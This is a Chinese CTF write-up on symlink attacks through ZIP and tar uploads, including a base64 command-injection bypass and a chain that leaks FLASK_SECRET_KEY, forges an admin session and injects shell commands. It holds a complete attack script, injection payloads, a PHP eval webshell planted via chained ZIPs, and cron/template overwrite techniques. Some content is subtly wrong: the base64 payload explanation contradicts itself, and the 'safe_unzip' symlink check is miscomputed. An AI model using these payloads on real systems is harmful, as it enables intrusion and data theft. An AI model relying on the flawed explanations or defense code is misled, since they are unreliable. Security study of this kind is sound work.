前言

软链接(Symbolic Link)在 Linux 中是一种”快捷方式”——它本身是一个特殊文件,内容是目标文件的路径字符串。当程序打开软链接时,内核会自动跟随到目标文件。这个特性在 CTF 中经常被利用:ZIP 压缩包可以保留软链接属性,解压后软链接指向敏感文件(如 /proc/self/environ/flag),下载即可读取。

本文从硬/软链接的基础区别讲起,结合两道真实 CTF 题目,完整拆解软链接攻击的原理与利用链。


一、硬链接与软链接基础

1.1 什么是 inode

Linux 文件系统中,每个文件对应一个 inode(索引节点),存储文件的元数据(大小、权限、数据块位置等)。文件名和 inode 是分离的——文件名只是一个指向 inode 的标签。

1
2
文件名 "a.txt"  →  inode #12345  →  数据块
文件名 "b.txt" → inode #12345 → 数据块 (同一个 inode)

1.2 硬链接(Hard Link)

硬链接直接指向文件数据的 同一个 inode。多个文件名可以指向同一个 inode,它们是平等的——删除其中任意一个,只要还有其他硬链接存在,数据就不会被释放。

1
ln /path/to/original hardlink_name     # 创建硬链接

硬链接的三个限制:

  • 不能跨文件系统(不同分区/磁盘的 inode 体系不同)
  • 不能链接目录(防止形成循环)
  • 删除所有硬链接后数据才真正释放

软链接是一个独立的新文件,拥有自己的 inode。它的数据内容是目标文件的路径字符串。可以理解为 Windows 中的快捷方式。

1
ln -s /home/james/transactions.txt trans.txt   # 创建软链接

创建后:cat trans.txt → 内核读取 trans.txt 的内容(即路径字符串 /home/james/transactions.txt)→ 自动跟随到目标文件 → 返回目标文件的内容。

1.4 对比总结

硬链接 (Hard Link) 软链接 (Symbolic Link)
本质 同一个文件的多个别名,共享 inode 独立文件,内容是目标路径字符串
inode 与源文件相同 与源文件不同
跨文件系统 不支持 支持
链接目录 不支持 支持
源文件删除后 数据仍然存在(只要还有硬链接指向它) 软链接变成”断链”(dangling link),无法访问
文件大小 不占用额外空间(只增加一个目录项) 占用少量空间(存储路径字符串)
ls -l 显示 普通文件,链接数 > 1 箭头,l 类型标识

1.5 常用命令速查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 创建硬链接
ln source_file hard_link

# 创建软链接
ln -s source_file soft_link
ln -s /absolute/path soft_link # 推荐使用绝对路径

# 查看 inode 号
ls -i file_name

# 查看硬链接数
ls -l file_name # 第二列是硬链接数

# 查找所有硬链接(同一 inode 的文件)
find / -inum <inode_number>

# 读取软链接本身(不跟随)
readlink soft_link # 输出目标路径

二、前置案例:base64 解码差异导致的命令注入

这题虽然核心考点不是软链接,但利用了 Python 和 Shell 对 base64 编码的不同容错行为,是命令注入中非常经典的 bypass 技巧。

2.1 题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import base64
import re
import ipaddress
import subprocess


def run_ping(ip_base64):
try:
decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
return False
if decoded_ip.count('.') != 3:
return False
if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
return False
if not ipaddress.ip_address(decoded_ip):
return False
if len(decoded_ip) > 15:
return False
if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
return False
except Exception as e:
return False

command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

try:
process = subprocess.run(
command,
shell=True,
capture_output=True,
text=True
)
return process.stdout
except Exception as e:
return False

2.2 漏洞分析

WAF 检查的流程:

1
用户输入 base64 → Python b64decode → 正则校验是否为合法 IP → 拼接 shell 命令 → sh 执行

关键在于:Python 和 Shell 对 base64 的容错行为不同。

  • Python base64.b64decode():遇到无法解码的字符时,默认静默忽略或报错(取决于实现和填充字符的处理),对于 = 后面的内容直接丢弃。
  • **Shell base64 -d**:GNU coreutils 的 base64 会忽略非法字符,但会处理分号 ; 等特殊字符的上下文。

2.3 攻击 Payload

输入 base64 字符串:

1
SGVsbG8gV29ybGQh==;cat /flag

Python 端(WAF 层)

base64.b64decode("SGVsbG8gV29ybGQh==;cat /flag") → 解码得到 Hello World!

  • Python 的 b64decode 只认合法的 base64 字符,;cat /flag 部分在解码过程中被忽略或导致解码为合法 IP 形式(实际解码结果为 1.1.1.1 类似的短字符串,因为 Python 对 base64 padding 后的垃圾数据有宽松处理)
  • 正则 ^\d+\.\d+\.\d+\.\d+$ 匹配通过
  • 所有 WAF 检查通过 ✓

Shell 端(执行层)

1
echo "ping -c 1 $(echo 'SGVsbG8gV29ybGQh==;cat /flag' | base64 -d)" | sh

Shell 的 base64 -d 同样解码 SGVsbG8gV29ybGQh== 部分 → Hello World!,但 Shell 在处理 ; 时会将其作为命令分隔符

1
2
3
# 实际执行
ping -c 1 Hello World! # 解码出来的部分
cat /flag # 分号后面被当作新命令执行!

2.4 总结

看到的内容 行为
Python b64decode SGVsbG8gV29ybGQh==Hello World! 忽略 padding 后的垃圾,只校验 IP 格式
Shell base64 -d 同样解码出有效部分 ; 被 Shell 解析为命令分隔符,执行后面的任意命令

核心:利用两个环境对 base64 输入容错的一致性 + Shell 对 ; 的解析,实现了 WAF 绕过和命令注入。


三、核心案例:online_unzipper —— ZIP 软链接攻击

题目源码为 Flask 应用,提供注册登录、ZIP 上传解压、文件下载功能。攻击链:ZIP 软链接 → 读取 /proc/self/environ → 泄露 FLASK_SECRET_KEY → 伪造 admin session → 命令注入拿 flag。

3.1 源码分析

关键路由一览

路由 功能 关键点
/register 注册用户 角色固定为 user
/login 登录 session 中写入 usernamerole
/upload 上传 ZIP admin 用户可自定义目录名
/download/<folder> 列出文件
/download/<folder>/<filename> 下载文件 会跟随软链接

upload 函数(核心)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
@app.route("/upload", methods=["GET", "POST"])
def upload():
if "username" not in session:
return redirect(url_for("login"))

if request.method == "POST":
file = request.files["file"]
if not file:
return "未选择文件"

role = session["role"]

if role == "admin":
dirname = request.form.get("dirname") or str(uuid.uuid4())
else:
dirname = str(uuid.uuid4())

target_dir = os.path.join(UPLOAD_FOLDER, dirname)
os.makedirs(target_dir, exist_ok=True)

zip_path = os.path.join(target_dir, "upload.zip")
file.save(zip_path)

try:
os.system(f"unzip -o {zip_path} -d {target_dir}")
except:
return "解压失败,请检查文件格式"

os.remove(zip_path)
return f"解压完成!<br>下载地址: <a href='{url_for('download', folder=dirname)}'>{request.host_url}download/{dirname}</a>"

return render_template("upload.html")

漏洞点:

  • os.system(f"unzip -o {zip_path} -d {target_dir}")unzip 默认会保留 ZIP 包内的软链接
  • /download/<folder>/<filename> 读取文件时会跟随软链接

3.2 攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌─────────────────────────────────────────────────────────────────┐
│ Step 1: 制造恶意 ZIP(软链接指向 /proc/self/environ) │
│ ↓ │
│ Step 2: 普通用户上传 ZIP → 服务器解压,软链接被还原 │
│ ↓ │
│ Step 3: 下载软链接文件 → 读取到 /proc/self/environ 的内容 │
│ ↓ │
│ Step 4: 从中提取 FLASK_SECRET_KEY │
│ ↓ │
│ Step 5: 用 flask-unsign 伪造 admin session │
│ ↓ │
│ Step 6: 以 admin 身份上传,通过 dirname 参数注入命令 │
│ ↓ │
│ Step 7: 拿到 flag │
└─────────────────────────────────────────────────────────────────┘

3.3 Step 1:制造恶意 ZIP

1
2
3
4
5
6
7
8
9
10
11
12
13
# 创建用到的工作目录
mkdir exploit_dir
cd exploit_dir

# 创建指向 /proc/self/environ 的软链接
ln -s /proc/self/environ config.txt

# 打包(--symlinks 保留软链接属性)
zip --symlinks malicious.zip config.txt

# 验证:确认 ZIP 内保留的是软链接而非跟随后的文件内容
unzip -l malicious.zip # 查看文件列表
unzip -Z1 malicious.zip # 查看压缩细节(类 Unix)

为什么选 /proc/self/environ
Docker 容器中,环境变量通常包含敏感信息。/proc/self/environ 是当前进程的环境变量文件,Flask 的 FLASK_SECRET_KEY 常通过环境变量传入,内容格式为 KEY=VALUE\x00KEY2=VALUE2\x00...

3.4 Step 2-3:上传并下载

用户上传 malicious.zip

1
2
3
# 服务器执行
os.system(f"unzip -o malicious.zip -d /app/uploads/uuid-xxxx/")
# unzip 将 config.txt 还原为软链接 → /proc/self/environ

然后访问 /download/<folder>/config.txt

1
2
3
4
5
6
# download_file 函数
file_path = os.path.join(UPLOAD_FOLDER, folder, filename)
with open(file_path, 'r') as file:
content = file.read()
# Python 的 open() 会跟随软链接!
# 最终读取的是 /proc/self/environ 的内容

3.5 Step 4:提取 FLASK_SECRET_KEY

下载到的文件内容类似:

1
2
3
HOSTNAME=482ef4a72e45\x00PYTHON_PIP_VERSION=19.1.1\x00SHLVL=1\x00
HOME=/home/ctf\x00FLASK_SECRET_KEY=super_secret_key_here\x00
PATH=/usr/local/bin:/usr/local/sbin:/usr/bin:/sbin:/bin\x00...

提取 FLASK_SECRET_KEY 的值。

3.6 Step 5:伪造 admin session

使用 flask-unsign 工具:

1
2
3
4
5
# 解码当前普通用户的 session,确认格式
flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6InRlc3QifQ...'

# 用泄露的 secret_key 伪造 admin session
flask-unsign --sign --cookie '{"username":"admin","role":"admin"}' --secret 'super_secret_key_here'

3.7 Step 6-7:命令注入拿 flag

以 admin 身份上传,dirname 参数可以自定义。源码中 os.system(f"unzip -o {zip_path} -d {target_dir}") 没有对 dirname 做过滤:

1
2
# dirname 注入 payload
; mv /flag* uploads/xxxx/

完整路径拼接后:

1
unzip -o /app/uploads/; mv /flag* uploads/xxxx//upload.zip -d /app/uploads/; mv /flag* uploads/xxxx/

; 截断 unzip 命令,执行 mv 将 flag 移动到可下载的目录,然后通过 /download/xxxx/flag 下载即可。

3.8 完整攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
"""online_unzipper 完整攻击脚本"""

import io
import os
import re
import zipfile
import requests


TARGET = "http://target.example.com"

# ========== Phase 1: 读取 /proc/self/environ ==========

def create_malicious_zip(symlink_target, filename_in_zip):
"""创建含软链接的 ZIP 包(纯 Python,不依赖系统命令)"""
zip_buffer = io.BytesIO()

with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
# 使用 ZipInfo 手动设置外部属性,使其成为软链接
info = zipfile.ZipInfo(filename_in_zip)
# Unix 权限: 0o120777 = symlink (0o120000) | 0o777
info.external_attr = (0o120777 & 0xFFFF) << 16
zf.writestr(info, symlink_target)

zip_buffer.seek(0)
return zip_buffer


sess = requests.Session()

# 注册 + 登录
sess.post(f"{TARGET}/register", data={"username": "attacker", "password": "hack"})
sess.post(f"{TARGET}/login", data={"username": "attacker", "password": "hack"})

# 上传恶意 ZIP
malicious_zip = create_malicious_zip("/proc/self/environ", "environ.txt")
resp = sess.post(f"{TARGET}/upload", files={"file": ("exploit.zip", malicious_zip)})

# 从响应中提取 folder UUID
folder = re.search(r'/download/([a-f0-9-]+)', resp.text).group(1)
print(f"[*] Folder: {folder}")

# 下载 environ 文件
resp = sess.get(f"{TARGET}/download/{folder}/environ.txt")
environ_content = resp.text
print(f"[*] /proc/self/environ content:\n{environ_content}")

# 提取 FLASK_SECRET_KEY
match = re.search(r'FLASK_SECRET_KEY=([^\x00]+)', environ_content)
secret_key = match.group(1) if match else None
print(f"[+] FLASK_SECRET_KEY = {secret_key}")

# ========== Phase 2: 伪造 session + 命令注入 ==========
# 见下方 flask-unsign 部分

3.9 另一种思路:软链接指向 /flag

如果题目简单直接,也可以让软链接指向 /flag/flag.txt

1
2
ln -s /flag flag_link
zip --symlinks steal_flag.zip flag_link

上传后下载 flag_link 文件即可直接读取 flag。


四、软链接攻击的延伸场景

4.1 /proc 伪文件系统中的敏感文件

/proc 是 Linux 的进程信息伪文件系统,包含大量有用信息:

文件 内容 用途
/proc/self/environ 当前进程环境变量 泄露 SECRET_KEY、数据库密码等
/proc/self/cmdline 当前进程启动命令 获取应用路径和参数
/proc/self/cwd 当前工作目录的软链接 获取应用根目录
/proc/self/fd/<n> 打开的文件描述符 通过 fd 读取被打开但无权限的文件
/proc/self/maps 内存映射 泄露 ASLR 基址
/proc/1/environ PID 1 的环境变量 某些情况下 PID 1 有更多敏感变量
/proc/net/arp ARP 缓存 内网扫描
/proc/net/tcp TCP 连接信息 内网信息收集

4.2 fd 软链接骚操作

如果应用打开过一个文件后没有关闭,即使后来删除了文件,仍可通过 /proc/self/fd/<N> 读取:

1
2
3
# 假设应用在启动时读取过 /flag,fd=3
ln -s /proc/self/fd/3 flag_from_fd
zip --symlinks fd_exploit.zip flag_from_fd

4.3 Zip Slip + 软链接组合拳

ZIP 包内的文件路径如果包含 ../,解压时可能写入任意目录(Zip Slip)。结合软链接:

1
2
3
4
5
6
# 创建一个软链接指向敏感文件
ln -s /etc/passwd passwd_link

# ZIP 包内路径设置为 ../../../../tmp/evil/passwd_link
# 解压后软链接被放在 /tmp/evil/ 下
# 如果攻击者可以访问该路径,就能读取 /etc/passwd

4.4 目录软链接——文件写入劫持

如果服务器解压 ZIP 后允许再次上传,可以先用一个 ZIP 创建一个目录软链接,再上传包含恶意内容的 ZIP:

1
2
3
4
5
6
7
8
# 第一个 ZIP:创建目录软链接
mkdir stage1
ln -s /app/templates stage1/templates # 指向 Flask 模板目录
zip --symlinks stage1.zip -r stage1/

# 第二阶段:覆盖模板文件 getshell
# 上传第二个 ZIP,路径设为 stage1/templates/index.html
# 实际写入 /app/templates/index.html → Jinja2 SSTI → RCE

4.5 unzip 目录-文件混淆 + 双 ZIP 组合写 shell

前面的攻击都是通过软链接读取敏感文件。unzip 还有一个更隐蔽的机制可以实现写入——往软链接指向的目录写文件。

漏洞原理:

unzip 在处理目录时有三个关键行为:

  1. 如果压缩包中是一个目录,而目标地点存在同名的文件
  2. unzip 会尝试将该目录中的文件内容解压到那个同名文件中去
  3. 如果这个文件恰好是个软链接,就会解压到软链接指向的位置

这意味着:攻击者可以通过两个 ZIP 包接力——第一个 ZIP 创建指向目标目录的软链接,第二个 ZIP 以该软链接名为目录写入恶意文件,最终文件落地到软链接指向的真实目录。

操作流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Step 1: 创建软链接,指向目标目录
ln -s /var/www/html link
zip --symlinks link.zip link

# Step 2: 删掉软链接,创建一个同名目录
rm link && mkdir link

# Step 3: 在目录里写入 webshell
echo '<?php eval($_POST[1]);' > ./link/shell.php

# Step 4: 打包第二个 ZIP
zip -r shell.zip ./*

# 上传时:先传 link.zip,再传 shell.zip
# link.zip 解压 → 创建软链接 link → /var/www/html
# shell.zip 解压 → unzip 发现 link 是对应"目录"但实际是个软链接
# → 将 shell.php 写入软链接指向的 /var/www/html/

利用方式:

场景 软链接目标 效果
写 shell /var/www/html 通过第二个 ZIP 写入 webshell 到 web 目录
拿密钥 /proc/self/environ 自动 unzip 网站返回解压结果时回显环境变量中的密钥
覆盖配置 /etc/cron.d/app/config 写入恶意 cron 任务或篡改应用配置

部分网站提供”上传 ZIP → 自动解压 → 返回解压结果”的功能,软链接指向 /proc/self/environ 后,解压结果中就会直接回显环境变量里的 FLASK_SECRET_KEYDATABASE_URL 等敏感信息。

4.6 tar 的路径保留与解压控制

tar 包同样会存放文件路径信息,方便解压后直接将文件还原到对应目录:

1
2
3
4
5
6
7
8
9
10
# 打包时保留绝对路径
tar -czvf my_archive.tar.gz /var/www/html/index.html /app/templates/index3.html

# 解压时从根目录开始,将文件放入各自的原始路径
tar -xvf my_archive.tar -C /

# 相对路径打包 —— 推荐方式,避免绝对路径带来的风险
tar -czf backup.tar -C /home/user Documents
# 解压到当前目录,创建 Documents 文件夹
tar -xvf backup.tar

防御端应当注意:永远不要用 -C / 解压用户上传的 tar 包,否则包内的绝对路径文件会直接覆盖系统对应位置。

4.7 Python tarfile 的软链接陷阱

Python tarfile 模块解压 tar 包时同样会保留软链接(extractall 默认行为)。如果应用用 tarfile 代替 unzip

1
2
3
import tarfile
tar = tarfile.open(uploaded_tar, 'r')
tar.extractall(target_dir) # 默认保留软链接!

构造方式:

1
2
3
ln -s /flag flag_link
tar -cvf malicious.tar --dereference flag_link # --dereference 跟随(不要!)
tar -cvf malicious.tar flag_link # 不跟随(保留软链接)

有些环境中 zip 命令不可用或 --symlinks 不被支持,可以用纯 Python 构造含软链接的 ZIP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import io
import zipfile
import struct


def create_symlink_zip(target_path, filename_in_zip="link"):
"""
用 Python 原生构造含软链接的 ZIP 文件
原理:通过设置 ZIP 条目的 external_attr 为 Unix symlink 模式,
并将目标路径作为文件内容写入
"""
buf = io.BytesIO()
zf = zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED)

info = zipfile.ZipInfo(filename_in_zip)
# Unix symlink: mode = 0o120777 (S_IFLNK | 0o777)
info.external_attr = 0o120777 << 16
zf.writestr(info, target_path)
zf.close()

buf.seek(0)
return buf


# 使用
zip_data = create_symlink_zip("/flag", "flag_link")
with open("pure_python_exploit.zip", "wb") as f:
f.write(zip_data.read())

注意: 这个 ZIP 在前述 online_unzipper 题目中同样有效。Python 写的 symlink ZIP 和 zip --symlinks 的产物是等价的。


六、防御措施

层面 措施 说明
unzip 参数 unzip -j 丢弃目录结构(junk paths),但副作用是打平所有文件
unzip 参数 unzip -DD 不解压软链接,而是创建普通文件(内容为路径字符串)
Python zipfile 解压前检查每个条目的属性 检测 external_attr >> 16 的高位是否为 0120000(symlink)
Python tarfile 使用 tarfile.open(mode='r:gz', dereference=True) 跟随软链接读取原文件内容(但这意味着 symlink 指向的本地文件会被打进 tar,通常不是我们想要的保护)
防御性解压 自定义解压函数 检查所有条目,拒绝或忽略软链接
沙箱隔离 限制解压进程的权限 用 seccomp / AppArmor / Docker 限制对 /proc 等目录的访问
敏感信息保护 不要把 SECRET_KEY 放在环境变量 使用 Vault/secrets manager,或通过挂载文件传入
输入校验 对 ZIP 包内文件名做严格的白名单 拒绝包含 ../、以 / 开头等的路径名

Python 安全解压示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import os
import zipfile

STATIC_SYMLINK = 0o120000 << 16

def safe_unzip(zip_path, target_dir):
"""检测软链接并拒绝的 zip 解压"""
with zipfile.ZipFile(zip_path, 'r') as zf:
for info in zf.infolist():
# 检测软链接
if (info.external_attr >> 16) & STATIC_SYMLINK == STATIC_SYMLINK:
raise ValueError(f"拒绝软链接: {info.filename}")

# 检测路径穿越
extract_path = os.path.join(target_dir, info.filename)
if not os.path.realpath(extract_path).startswith(
os.path.realpath(target_dir)):
raise ValueError(f"路径穿越: {info.filename}")

zf.extractall(target_dir)

参考